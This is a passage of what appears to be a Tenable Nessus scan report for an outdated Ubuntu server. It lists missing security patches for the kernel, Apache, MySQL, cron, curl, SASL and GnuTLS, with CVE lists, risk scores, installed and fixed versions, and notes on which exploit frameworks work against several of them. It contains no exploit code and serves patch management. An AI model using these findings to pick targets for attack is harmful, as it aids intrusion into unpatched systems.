Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : passwd_1:4.0.18.2-1ubuntu2
  - Fixed package     : passwd_1:4.0.18.2-1ubuntu2.1
```

## 36681 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS : linux, linux-source-2.6.15/22 vulnerabilities (USN-659-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the direct-IO subsystem did not correctly validate certain structures. A local attacker could exploit this to cause a system crash, leading to a denial of service. (CVE-2007-6716)

It was discovered that the disabling of the ZERO_PAGE optimization could lead to large memory consumption. A local attacker could exploit this to allocate all available memory, leading to a denial of service.

(CVE-2008-2372)

It was discovered that the Datagram Congestion Control Protocol (DCCP) did not correctly validate its arguments. If DCCP was in use, a remote attacker could send specially crafted network traffic and cause a system crash, leading to a denial of service. (CVE-2008-3276)

It was discovered that the SBNI WAN driver did not correctly check for the NET_ADMIN capability. A malicious local root user lacking CAP_NET_ADMIN would be able to change the WAN device configuration, leading to a denial of service. (CVE-2008-3525)

It was discovered that the Stream Control Transmission Protocol (SCTP) did not correctly validate the key length in the SCTP_AUTH_KEY option.

If SCTP is in use, a remote attacker could send specially crafted network traffic that would crash the system, leading to a denial of service. (CVE-2008-3526)

It was discovered that the tmpfs implementation did not correctly handle certain sequences of inode operations. A local attacker could exploit this to crash the system, leading to a denial of service.

(CVE-2008-3534)

It was discovered that the readv/writev functions did not correctly handle certain sequences of file operations. A local attacker could exploit this to crash the system, leading to a denial of service.

(CVE-2008-3535)

It was discovered that SCTP did not correctly validate its userspace arguments. A local attacker could call certain sctp_* functions with malicious options and cause a system crash, leading to a denial of service. (CVE-2008-3792, CVE-2008-4113, CVE-2008-4445)

It was discovered the the i915 video driver did not correctly validate memory addresses. A local attacker could exploit this to remap memory that could cause a system crash, leading to a denial of service.

(CVE-2008-3831)

Johann Dahm and David Richter discovered that NFSv4 did not correctly handle certain file ACLs. If NFSv4 is in use, a local attacker could create a malicious ACL that could cause a system crash, leading to a denial of service. (CVE-2008-3915).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/659-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

5.9

## EPSS Score

0.058

## CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 31515 |
| BID | 31792 |
| CVE | CVE-2007-6716 |
| CVE | CVE-2008-2372 |
| CVE | CVE-2008-3276 |
| CVE | CVE-2008-3525 |
| CVE | CVE-2008-3526 |
| CVE | CVE-2008-3534 |
| CVE | CVE-2008-3535 |
| CVE | CVE-2008-3792 |
| CVE | CVE-2008-3831 |
| CVE | CVE-2008-3915 |
| CVE | CVE-2008-4113 |
| CVE | CVE-2008-4445 |
| XREF | USN:659-1 |
| XREF | CWE:20 |
| XREF | CWE:119 |

| | |
|---|---|
| XREF | CWE:189 |
| XREF | CWE:200 |
| XREF | CWE:264 |
| XREF | CWE:399 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-21.43


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 42858 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : apache2 vulnerabilities (USN-860-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Marsh Ray and Steve Dispensa discovered a flaw in the TLS and SSLv3 protocols. If an attacker could perform a man in the middle attack at the start of a TLS connection, the attacker could inject arbitrary content at the beginning of the user's session. The flaw is with TLS renegotiation and potentially affects any software that supports this feature. Attacks against the HTTPS protocol are known, with the severity of the issue depending on the safeguards used in the web application. Until the TLS protocol and underlying libraries are adjusted to defend against this vulnerability, a partial, temporary workaround has been applied to Apache that disables client initiated TLS renegotiation. This update does not protect against server initiated TLS renegotiation when using SSLVerifyClient and SSLCipherSuite on a per Directory or Location basis. Users can defend againt server inititiated TLS renegotiation attacks by adjusting their Apache configuration to use SSLVerifyClient and SSLCipherSuite only on the server or virtual host level. (CVE-2009-3555)

It was discovered that mod_proxy_ftp in Apache did not properly sanitize its input when processing replies to EPASV and PASV commands.

An attacker could use this to cause a denial of service in the Apache child process. (CVE-2009-3094)

Another flaw was discovered in mod_proxy_ftp. If Apache is configured as a reverse proxy, an attacker could send a crafted HTTP header to bypass intended access controls and send arbitrary commands to the FTP server. (CVE-2009-3095).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/860-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

7.4

### EPSS Score

0.031

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 36254 |
| BID | 36260 |
| BID | 36935 |
| CVE | CVE-2009-3094 |
| CVE | CVE-2009-3095 |
| CVE | CVE-2009-3555 |
| XREF | USN:860-1 |
| XREF | CWE:119 |
| XREF | CWE:264 |
| XREF | CWE:310 |

### Plugin Information

Published: 2009/11/19, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : apache2_2.2.8-1
  - Fixed package     : apache2_2.2.8-1ubuntu0.14
```

## 43026 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : linux, linux-source-2.6.15 vulnerabilities (USN-864-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the AX.25 network subsystem did not correctly check integer signedness in certain setsockopt calls. A local attacker could exploit this to crash the system, leading to a denial of service. Ubuntu 9.10 was not affected. (CVE-2009-2909)

Jan Beulich discovered that the kernel could leak register contents to 32-bit processes that were switched to 64-bit mode. A local attacker could run a specially crafted binary to read register values from an earlier process, leading to a loss of privacy. (CVE-2009-2910)

Dave Jones discovered that the gdth SCSI driver did not correctly validate array indexes in certain ioctl calls. A local attacker could exploit this to crash the system or gain elevated privileges.

(CVE-2009-3080)

Eric Dumazet and Jiri Pirko discovered that the TC and CLS subsystems would leak kernel memory via uninitialized structure members. A local attacker could exploit this to read several bytes of kernel memory, leading to a loss of privacy. (CVE-2009-3228, CVE-2009-3612)

Earl Chew discovered race conditions in pipe handling. A local attacker could exploit anonymous pipes via /proc/*/fd/ and crash the system or gain root privileges. (CVE-2009-3547)

Dave Jones and Francois Romieu discovered that the r8169 network driver could be made to leak kernel memory. A remote attacker could send a large number of jumbo frames until the system memory was exhausted, leading to a denial of service. Ubuntu 9.10 was not affected. (CVE-2009-3613).

Ben Hutchings discovered that the ATI Rage 128 video driver did not correctly validate initialization states. A local attacker could make specially crafted ioctl calls to crash the system or gain root privileges. (CVE-2009-3620)

Tomoki Sekiyama discovered that Unix sockets did not correctly verify namespaces. A local attacker could exploit this to cause a system hang, leading to a denial of service. (CVE-2009-3621)

J. Bruce Fields discovered that NFSv4 did not correctly use the credential cache. A local attacker using a mount with AUTH_NULL authentication could exploit this to crash the system or gain root privileges. Only Ubuntu 9.10 was affected. (CVE-2009-3623)

Alexander Zangerl discovered that the kernel keyring did not correctly reference count. A local attacker could issue a series of specially crafted keyring calls to crash the system or gain root privileges.

Only Ubuntu 9.10 was affected. (CVE-2009-3624)

David Wagner discovered that KVM did not correctly bounds-check CPUID entries. A local attacker could exploit this to crash the system or possibly gain elevated privileges. Ubuntu 6.06 and 9.10 were not affected. (CVE-2009-3638)

Avi Kivity discovered that KVM did not correctly check privileges when accessing debug registers. A local attacker could exploit this to crash a host system from within a guest system, leading to a denial of service. Ubuntu 6.06 and 9.10 were not affected. (CVE-2009-3722)

Philip Reisner discovered that the connector layer for uvesafb, pohmelfs, dst, and dm did not correctly check capabilties. A local attacker could exploit this to crash the system or gain elevated privileges. Ubuntu 6.06 was not affected. (CVE-2009-3725)

Trond Myklebust discovered that NFSv4 clients did not robustly verify attributes. A malicious remote NFSv4 server could exploit this to crash a client or gain root privileges. Ubuntu 9.10 was not affected.

(CVE-2009-3726)

Robin Getz discovered that NOMMU systems did not correctly validate NULL pointers in do_mmap_pgoff calls. A local attacker could attempt to allocate large amounts of memory to crash the system, leading to a denial of service. Only Ubuntu 6.06 and 9.10 were affected.

(CVE-2009-3888)

Joseph Malicki discovered that the MegaRAID SAS driver had world-writable option files. A local attacker could exploit these to disrupt the behavior of the controller, leading to a denial of service. (CVE-2009-3889, CVE-2009-3939)

Roel Kluin discovered that the Hisax ISDN driver did not correctly check the size of packets. A remote attacker could send specially crafted packets to cause a system crash, leading to a denial of service. (CVE-2009-4005)

Lennert Buytenhek discovered that certain 802.11 states were not handled correctly. A physically-proximate remote attacker could send specially crafted wireless traffic that would crash the system, leading to a denial of service. Only Ubuntu 9.10 was affected.

(CVE-2009-4026, CVE-2009-4027).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/864-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

9.0

## EPSS Score

0.0635

## CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.8 (CVSS2#E:H/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 36304 |
| BID | 36576 |
| BID | 36635 |
| BID | 36706 |
| BID | 36723 |
| BID | 36793 |
| BID | 36803 |
| BID | 36824 |
| BID | 36827 |
| BID | 36901 |
| BID | 36936 |
| BID | 37019 |
| BID | 37036 |
| BID | 37068 |
| BID | 37170 |
| BID | 37221 |
| CVE | CVE-2009-2909 |
| CVE | CVE-2009-2910 |
| CVE | CVE-2009-3080 |
| CVE | CVE-2009-3228 |
| CVE | CVE-2009-3547 |
| CVE | CVE-2009-3612 |
| CVE | CVE-2009-3613 |
| CVE | CVE-2009-3620 |
| CVE | CVE-2009-3621 |
| CVE | CVE-2009-3623 |
| CVE | CVE-2009-3624 |
| CVE | CVE-2009-3638 |
| CVE | CVE-2009-3722 |
| CVE | CVE-2009-3725 |
| CVE | CVE-2009-3726 |
| CVE | CVE-2009-3888 |
| CVE | CVE-2009-3889 |
| CVE | CVE-2009-3939 |
| CVE | CVE-2009-4005 |
| CVE | CVE-2009-4026 |

| | |
|---|---|
| CVE | CVE-2009-4027 |
| XREF | USN:864-1 |
| XREF | CWE:20 |
| XREF | CWE:119 |
| XREF | CWE:189 |
| XREF | CWE:200 |
| XREF | CWE:264 |
| XREF | CWE:287 |
| XREF | CWE:310 |
| XREF | CWE:362 |
| XREF | CWE:399 |

## Exploitable With

CANVAS (true)

## Plugin Information

Published: 2009/12/07, Modified: 2021/01/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-26.64


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 44585 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities (USN-897-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that MySQL could be made to overwrite existing table files in the data directory. An authenticated user could use the DATA DIRECTORY and INDEX DIRECTORY options to possibly bypass privilege checks. This update alters table creation behaviour by disallowing the use of the MySQL data directory in DATA DIRECTORY and INDEX DIRECTORY options. This issue only affected Ubuntu 8.10. (CVE-2008-4098)

It was discovered that MySQL contained a cross-site scripting vulnerability in the command-line client when the --html option is enabled. An attacker could place arbitrary web script or html in a database cell, which would then get placed in the html document output by the command-line tool. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 8.10 and 9.04. (CVE-2008-4456)

It was discovered that MySQL could be made to overwrite existing table files in the data directory. An authenticated user could use symlinks combined with the DATA DIRECTORY and INDEX DIRECTORY options to possibly bypass privilege checks. This issue only affected Ubuntu 9.10. (CVE-2008-7247)

It was discovered that MySQL contained multiple format string flaws when logging database creation and deletion. An authenticated user could use specially crafted database names to make MySQL crash, causing a denial of service. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 8.10 and 9.04. (CVE-2009-2446)

It was discovered that MySQL incorrectly handled errors when performing certain SELECT statements, and did not preserve correct flags when performing statements that use the GeomFromWKB function. An authenticated user could exploit this to make MySQL crash, causing a denial of service. (CVE-2009-4019)

It was discovered that MySQL incorrectly checked symlinks when using the DATA DIRECTORY and INDEX DIRECTORY options. A local user could use symlinks to create tables that pointed to tables known to be created at a later time, bypassing access restrictions. (CVE-2009-4030)

It was discovered that MySQL contained a buffer overflow when parsing ssl certificates. A remote attacker could send crafted requests and cause a denial of service or possibly execute arbitrary code. This issue did not affect Ubuntu 6.06 LTS and the default compiler options for affected releases should reduce the vulnerability to a denial of service. In the default installation, attackers would also be isolated by the AppArmor MySQL profile. (CVE-2009-4484).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/897-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

7.4

### EPSS Score

0.7208

### CVSS v2.0 Base Score

8.5 (CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.0 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 29106 |
| BID | 31486 |
| BID | 35609 |
| BID | 37075 |
| BID | 37297 |
| BID | 37640 |
| BID | 37943 |
| BID | 38043 |
| CVE | CVE-2008-4098 |
| CVE | CVE-2008-4456 |
| CVE | CVE-2008-7247 |
| CVE | CVE-2009-2446 |
| CVE | CVE-2009-4019 |
| CVE | CVE-2009-4030 |
| CVE | CVE-2009-4484 |
| XREF | USN:897-1 |
| XREF | CWE:59 |
| XREF | CWE:79 |
| XREF | CWE:119 |
| XREF | CWE:134 |

### Exploitable With

Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2010/02/11, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libmysqlclient15off_5.0.51a-3ubuntu5
  - Fixed package     : libmysqlclient15off_5.0.51a-3ubuntu5.5

  - Installed package : mysql-client-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-client-5.0_5.0.51a-3ubuntu5.5

  - Installed package : mysql-common_5.0.51a-3ubuntu5
  - Fixed package     : mysql-common_5.0.51a-3ubuntu5.5

  - Installed package : mysql-server_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server_5.0.51a-3ubuntu5.5

  - Installed package : mysql-server-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server-5.0_5.0.51a-3ubuntu5.5
```

## 40655 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : apache2 regression (USN-802-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-802-1 fixed vulnerabilities in Apache. The upstream fix for CVE-2009-1891 introduced a regression that would cause Apache children to occasionally segfault when mod_deflate is used. This update fixes the problem.

We apologize for the inconvenience.

It was discovered that mod_proxy_http did not properly handle a large amount of streamed data when used as a reverse proxy. A remote attacker could exploit this and cause a denial of service via memory resource consumption. This issue affected Ubuntu 8.04 LTS, 8.10 and 9.04. (CVE-2009-1890)

It was discovered that mod_deflate did not abort compressing large files when the connection was closed. A remote attacker could exploit this and cause a denial of service via CPU resource consumption. (CVE-2009-1891).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/802-2/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.4

### EPSS Score

0.2646

### CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C)

### References

| | |
|---|---|
| CVE | CVE-2009-1890 |
| CVE | CVE-2009-1891 |
| XREF | USN:802-2 |
| XREF | CWE:189 |
| XREF | CWE:399 |

### Plugin Information

Published: 2009/08/20, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : apache2_2.2.8-1
  - Fixed package     : apache2_2.2.8-1ubuntu0.11
```

## 39371 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : apache2 vulnerabilities (USN-787-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Matthew Palmer discovered an underflow flaw in apr-util as included in Apache. An attacker could cause a denial of service via application crash in Apache using a crafted SVNMasterURI directive, .htaccess file, or when using mod_apreq2. This issue only affected Ubuntu 6.06 LTS. (CVE-2009-0023)

Sander de Boer discovered that mod_proxy_ajp would reuse connections when a client closed a connection without sending a request body. A remote attacker could exploit this to obtain sensitive response data.

This issue only affected Ubuntu 9.04. (CVE-2009-1191)

Jonathan Peatfield discovered that Apache did not process Includes options correctly. With certain configurations of Options and AllowOverride, a local attacker could use an .htaccess file to override intended restrictions and execute arbitrary code via a Server-Side-Include file. This issue affected Ubuntu 8.04 LTS, 8.10 and 9.04. (CVE-2009-1195)

It was discovered that the XML parser did not properly handle entity expansion. A remote attacker could cause a denial of service via memory resource consumption by sending a crafted request to an Apache server configured to use mod_dav or mod_dav_svn. This issue only affected Ubuntu 6.06 LTS. (CVE-2009-1955)

C. Michael Pilato discovered an off-by-one buffer overflow in apr-util when formatting certain strings. For big-endian machines (powerpc, hppa and sparc in Ubuntu), a remote attacker could cause a denial of service or information disclosure leak. All other architectures for Ubuntu are not considered to be at risk. This issue only affected Ubuntu 6.06 LTS. (CVE-2009-1956).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/787-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.0

### EPSS Score

0.1007

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

6.8 (CVSS2#E:ND/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 34663 |
| BID | 35115 |
| BID | 35221 |
| BID | 35251 |
| BID | 35253 |
| CVE | CVE-2009-0023 |
| CVE | CVE-2009-1191 |
| CVE | CVE-2009-1195 |
| CVE | CVE-2009-1955 |
| CVE | CVE-2009-1956 |
| XREF | USN:787-1 |
| XREF | CWE:16 |
| XREF | CWE:20 |
| XREF | CWE:119 |
| XREF | CWE:189 |
| XREF | CWE:399 |

### Plugin Information

Published: 2009/06/12, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : apache2_2.2.8-1
  - Fixed package     : apache2_2.2.8-1ubuntu0.8
```

## 39789 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : apache2 vulnerabilities (USN-802-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that mod_proxy_http did not properly handle a large amount of streamed data when used as a reverse proxy. A remote attacker could exploit this and cause a denial of service via memory resource consumption. This issue affected Ubuntu 8.04 LTS, 8.10 and 9.04. (CVE-2009-1890)

It was discovered that mod_deflate did not abort compressing large files when the connection was closed. A remote attacker could exploit this and cause a denial of service via CPU resource consumption.

(CVE-2009-1891).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/802-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.4

### EPSS Score

0.2646

### CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

6.2 (CVSS2#E:H/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 35565 |
| BID | 35623 |
| CVE | CVE-2009-1890 |
| CVE | CVE-2009-1891 |
| XREF | USN:802-1 |
| XREF | CWE:189 |
| XREF | CWE:399 |

## Plugin Information

Published: 2009/07/14, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : apache2_2.2.8-1
  - Fixed package     : apache2_2.2.8-1ubuntu0.10
```

## 38984 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : cron vulnerability (USN-778-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that cron did not properly check the return code of the setgid() and initgroups() system calls. A local attacker could use this to escalate group privileges. Please note that cron versions 3.0pl1-64 and later were already patched to address the more serious setuid() check referred to by CVE-2006-2607.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/778-1/

### Solution

Update the affected cron package.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0004

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2006-2607 |
| XREF | USN:778-1 |

### Plugin Information

Published: 2009/06/02, Modified: 2021/01/19

## Plugin Output

### tcp/0

```
  - Installed package : cron_3.0pl1-100ubuntu2
  - Fixed package     : cron_3.0pl1-100ubuntu2.1
```

## 40657 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : curl vulnerability (USN-818-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Scott Cantor discovered that Curl did not correctly handle SSL certificates with zero bytes in the Common Name. A remote attacker could exploit this to perform a man in the middle attack to view sensitive information or alter encrypted communications.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/818-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

3.6

### EPSS Score

0.0414

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 36032 |
| CVE | CVE-2009-2417 |
| XREF | USN:818-1 |

| | |
|---|---|
| XREF | CWE:310 |

## Plugin Information

Published: 2009/08/20, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libcurl3-gnutls_7.18.0-1ubuntu2
  - Fixed package     : libcurl3-gnutls_7.18.0-1ubuntu2.2
```

## 39515 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : cyrus-sasl2 vulnerability (USN-790-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

James Ralston discovered that the Cyrus SASL base64 encoding function could be used unsafely. If a remote attacker sent a specially crafted request to a service that used SASL, it could lead to a loss of privacy, or crash the application, resulting in a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/790-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.3136

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2009-0688 |
| XREF | USN:790-1 |
| XREF | CWE:119 |

### Plugin Information

Published: 2009/06/25, Modified: 2021/01/19

## Plugin Output

### tcp/0

```
  - Installed package : libsasl2-2_2.1.22.dfsg1-18ubuntu2
  - Fixed package     : libsasl2-2_2.1.22.dfsg1-18ubuntu2.1

  - Installed package : libsasl2-modules_2.1.22.dfsg1-18ubuntu2
  - Fixed package     : libsasl2-modules_2.1.22.dfsg1-18ubuntu2.1
```

## 40656 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : gnutls12, gnutls13, gnutls26 vulnerabilities (USN-809-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Moxie Marlinspike and Dan Kaminsky independently discovered that GnuTLS did not properly handle certificates with NULL characters in the certificate name. An attacker could exploit this to perform a man in the middle attack to view sensitive information or alter encrypted communications. (CVE-2009-2730)

Dan Kaminsky discovered GnuTLS would still accept certificates with MD2 hash signatures. As a result, an attacker could potentially create a malicious trusted certificate to impersonate another site. This issue only affected Ubuntu 6.06 LTS and Ubuntu 8.10. (CVE-2009-2409)

USN-678-1 fixed a vulnerability and USN-678-2 a regression in GnuTLS.

The upstream patches introduced a regression when validating certain certificate chains that would report valid certificates as untrusted.

This update fixes the problem, and only affected Ubuntu 6.06 LTS and Ubuntu 8.10 (Ubuntu 8.04 LTS and 9.04 were fixed at an earlier date).

In an effort to maintain a strong security stance and address all known regressions, this update deprecates X.509 validation chains using MD2 and MD5 signatures. To accomodate sites which must still use a deprected RSA-MD5 certificate, GnuTLS has been updated to stop looking when it has found a trusted intermediary certificate. This new handling of intermediary certificates is in accordance with other SSL implementations.

Martin von Gagern discovered that GnuTLS did not properly verify certificate chains when the last certificate in the chain was self-signed. If a remote attacker were able to perform a man-in-the-middle attack, this flaw could be exploited to view sensitive information. (CVE-2008-4989).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/809-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.027

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 35952 |
| CVE | CVE-2008-4989 |
| CVE | CVE-2009-2409 |
| CVE | CVE-2009-2730 |
| XREF | USN:809-1 |
| XREF | CWE:255 |
| XREF | CWE:310 |

### Plugin Information

Published: 2009/08/20, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : libgnutls13_2.0.4-1ubuntu2
  - Fixed package     : libgnutls13_2.0.4-1ubuntu2.6
```

## 39586 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : linux, linux-source-2.6.15 vulnerabilities (USN-793-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Igor Zhbanov discovered that NFS clients were able to create device nodes even when root_squash was enabled. An authenticated remote attacker could create device nodes with open permissions, leading to a loss of privacy or escalation of privileges. Only Ubuntu 8.10 and 9.04 were affected. (CVE-2009-1072)

Dan Carpenter discovered that SELinux did not correctly handle certain network checks when running with compat_net=1. A local attacker could exploit this to bypass network checks. Default Ubuntu installations do not enable SELinux, and only Ubuntu 8.10 and 9.04 were affected.

(CVE-2009-1184)

Shaohua Li discovered that memory was not correctly initialized in the AGP subsystem. A local attacker could potentially read kernel memory, leading to a loss of privacy. (CVE-2009-1192)

Benjamin Gilbert discovered that the VMX implementation of KVM did not correctly handle certain registers. An attacker in a guest VM could exploit this to cause a host system crash, leading to a denial of service. This only affected 32bit hosts. Ubuntu 6.06 was not affected.

(CVE-2009-1242)

Thomas Pollet discovered that the Amateur Radio X.25 Packet Layer Protocol did not correctly validate certain fields. A remote attacker could exploit this to read kernel memory, leading to a loss of privacy. (CVE-2009-1265)

Trond Myklebust discovered that NFS did not correctly handle certain long filenames. An authenticated remote attacker could exploit this to cause a system crash, leading to a denial of service. Only Ubuntu 6.06 was affected. (CVE-2009-1336)

Oleg Nesterov discovered that the kernel did not correctly handle CAP_KILL. A local user could exploit this to send signals to arbitrary processes, leading to a denial of service. (CVE-2009-1337)

Daniel Hokka Zakrisson discovered that signal handling was not correctly limited to process namespaces. A local user could bypass namespace restrictions, possibly leading to a denial of service. Only Ubuntu 8.04 was affected. (CVE-2009-1338)

Pavel Emelyanov discovered that network namespace support for IPv6 was not correctly handled. A remote attacker could send specially crafted IPv6 traffic that would cause a system crash, leading to a denial of service. Only Ubuntu 8.10 and 9.04 were affected. (CVE-2009-1360)

Neil Horman discovered that the e1000 network driver did not correctly validate certain fields. A remote attacker could send a specially crafted packet that would cause a system crash, leading to a denial of service. (CVE-2009-1385)

Pavan Naregundi discovered that CIFS did not correctly check lengths when handling certain mount requests. A remote attacker could send specially crafted traffic to cause a system crash, leading to a denial of service. (CVE-2009-1439)

Simon Vallet and Frank Filz discovered that execute permissions were not correctly handled by NFSv4. A local user could bypass permissions and run restricted programs, possibly leading to an escalation of privileges. (CVE-2009-1630)

Jeff Layton and Suresh Jayaraman discovered buffer overflows in the CIFS client code. A malicious remote server could exploit this to cause a system crash or execute arbitrary code as root.

(CVE-2009-1633)

Mikulas Patocka discovered that /proc/iomem was not correctly initialized on Sparc. A local attacker could use this file to crash the system, leading to a denial of service. Ubuntu 6.06 was not affected. (CVE-2009-1914)

Miklos Szeredi discovered that OCFS2 did not correctly handle certain splice operations. A local attacker could exploit this to cause a system hang, leading to a denial of service. Ubuntu 6.06 was not affected. (CVE-2009-1961).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/793-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

6.7

## EPSS Score

0.1076

## CVSS v2.0 Base Score

